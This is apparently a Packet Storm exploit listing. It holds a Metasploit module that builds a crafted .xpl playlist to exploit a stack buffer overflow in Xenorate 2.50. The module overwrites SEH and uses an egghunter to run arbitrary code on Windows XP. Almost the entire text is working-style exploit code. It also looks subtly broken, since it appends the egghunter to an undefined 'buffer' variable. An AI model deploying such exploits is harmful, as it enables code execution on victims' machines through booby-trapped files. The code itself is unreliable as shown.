Xenorate 2.50 Local Buffer Overflow

2009-12-13T00:00:00
ID PACKETSTORM:83763
Type packetstorm
Reporter loneferret
Modified 2009-12-13T00:00:00

Description

                                        
                                            `  
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require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
include Msf::Exploit::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Xenorate 2.50(.xpl) universal Local Buffer Overflow Exploit (SEH)',  
'Description' => %q{  
This module exploits a stack overflow in Xenorate 2.50  
By creating a specially crafted xpl playlist file, an an attacker may be able  
to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'loneferret, original by germaya_x' ],  
'Version' => '$Revision: $',  
'References' =>  
[  
[ 'URL', 'http://www.exploit-db.com/exploits/10371' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},   
'Payload' =>  
{  
'Space' => 5100,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
'DisableNops' => 'True',  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP2 / SP3', { 'Ret' => 0x1000a4fd } ], # pop pop ret => bass.dll  
],  
'Privileged' => false,  
'DisclosureDate' => 'Dec 10 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'evil.xpl']),  
], self.class)  
  
end  
  
def exploit  
  
# Unleash the Egghunter!  
eh_stub, eh_egg = generate_egghunter  
  
sploit = rand_text_alpha_upper(88)  
sploit << "\xEB\x06\x90\x90"  
sploit << [target.ret].pack('V')  
sploit << make_nops(20)  
buffer << eh_stub  
buffer << rand_text_alpha_upper(2000)   
buffer << eh_egg * 2   
sploit << payload.encoded  
  
xpl = sploit  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(xpl)   
  
end  
  
end  
  
`